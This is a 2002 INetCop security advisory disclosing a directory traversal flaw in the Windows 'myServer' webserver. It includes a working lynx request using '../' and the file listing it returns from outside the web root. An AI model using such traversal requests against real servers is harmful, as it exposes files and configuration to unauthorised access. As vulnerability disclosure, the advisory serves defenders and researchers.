=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- INetCop Security Advisory #2002-0x82-010 -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= - Our 10th advisory does self-congratulation. * Title: Directory traversing bug in 'myServer' webserver. 0x01. Description It's very useful Windows webserver that is offered by Binary of C++. It's run in Microsoft Windows platform fortunately only. They have plan to export Linux platform firstly at the future. We saved Linux. :-) Vulnerability happens because webserver does not filter "../". Herewith, vulnerability can do exploit. (Server has died sometimes. yeh~ It's bug!) 0x02. Vulnerable Packages Vendor site: http://myserverweb.sourceforge.net/ myserver 0.2 binaries -myServerEXEC-0.2.zip +Windows 95/98/2000 +Windows NT/2000 myserver 0.11 binaries -myServerEXEC-0.11.zip 0x03. Exploit See and enjoy this. bash$ lynx -dump http://myServerhost/../../myServerEXEC-0.2 > x82-x0x bash$ cat x82-x0x Contents of folder ../../myServerEXEC-0.2/ _________________________________________________________________ File Last modify Size [1]cgi-lib 0/11/102-12:4:16 System time [2]control.exe 3/11/102-10:48:28 System time 258048 bytes [3]CVS 0/11/102-12:4:18 System time [4]languages 0/11/102-12:4:18 System time [5]libhoard.dll 3/9/102-6:0:0 System time 32843 bytes [6]logs 0/11/102-12:4:18 System time [7]MIMEtypes.txt 0/11/102-3:50:42 System time 276 bytes [8]myserver.exe 3/11/102-10:49:2 System time 200704 bytes [9]myserver.xml 0/11/102-1:11:46 System time 2238 bytes [10]readme.txt 0/11/102-9:59:6 System time 1836 bytes [11]REGISTER SERVICE.bat 3/9/102-6:0:0 System time 20 bytes [12]START CONSOLE.bat 3/9/102-6:0:0 System time 20 bytes [13]START SERVICE.bat 3/9/102-6:0:0 System time 17 bytes [14]STOP SERVICE.bat 3/9/102-6:0:0 System time 16 bytes [15]system 0/11/102-12:4:18 System time [16]UNREGISTER SERVICE.bat 3/9/102-6:0:0 System time 22 bytes [17]web 0/11/102-12:4:18 System time _________________________________________ Running on myServer 0.2 References 1. http://myServerhost/myServerEXEC-0.2/cgi-lib 2. http://myServerhost/myServerEXEC-0.2/control.exe 3. http://myServerhost/myServerEXEC-0.2/CVS 4. http://myServerhost/myServerEXEC-0.2/languages 5. http://myServerhost/myServerEXEC-0.2/libhoard.dll 6. http://myServerhost/myServerEXEC-0.2/logs 7. http://myServerhost/myServerEXEC-0.2/MIMEtypes.txt 8. http://myServerhost/myServerEXEC-0.2/myserver.exe 9. http://myServerhost/myServerEXEC-0.2/myserver.xml 10. http://myServerhost/myServerEXEC-0.2/readme.txt 11. http://myServerhost/myServerEXEC-0.2/REGISTERSERVICE.bat 12. http://myServerhost/myServerEXEC-0.2/STARTCONSOLE.bat 13. http://myServerhost/myServerEXEC-0.2/STARTSERVICE.bat 14. http://myServerhost/myServerEXEC-0.2/STOPSERVICE.bat 15. http://myServerhost/myServerEXEC-0.2/system 16. http://myServerhost/myServerEXEC-0.2/UNREGISTERSERVICE.bat 17. http://myServerhost/myServerEXEC-0.2/web bash$ We tested it, in Windows 98/2000 professionals. 0x04. Patch -- We decided it. It can solve as chroot() function. Therefore, we don't compose patch. Construct safer webserver. -- P.S: Sorry, for my poor english. -- By "dong-houn yoU" (Xpl017Elz), in INetCop(c) Security. MSN & E-mail: szoahc(at)hotmail(dot)com, xploit(at)hackermail(dot)com INetCop Security Home: http://www.inetcop.org (Korean hacking game) My World: http://x82.i21c.net GPG public key: http://wizard.underattack.co.kr/~x82/h0me/pr0file/x82.k3y -- -- _______________________________________________ Get your free email from http://www.hackermail.com Powered by Outblaze
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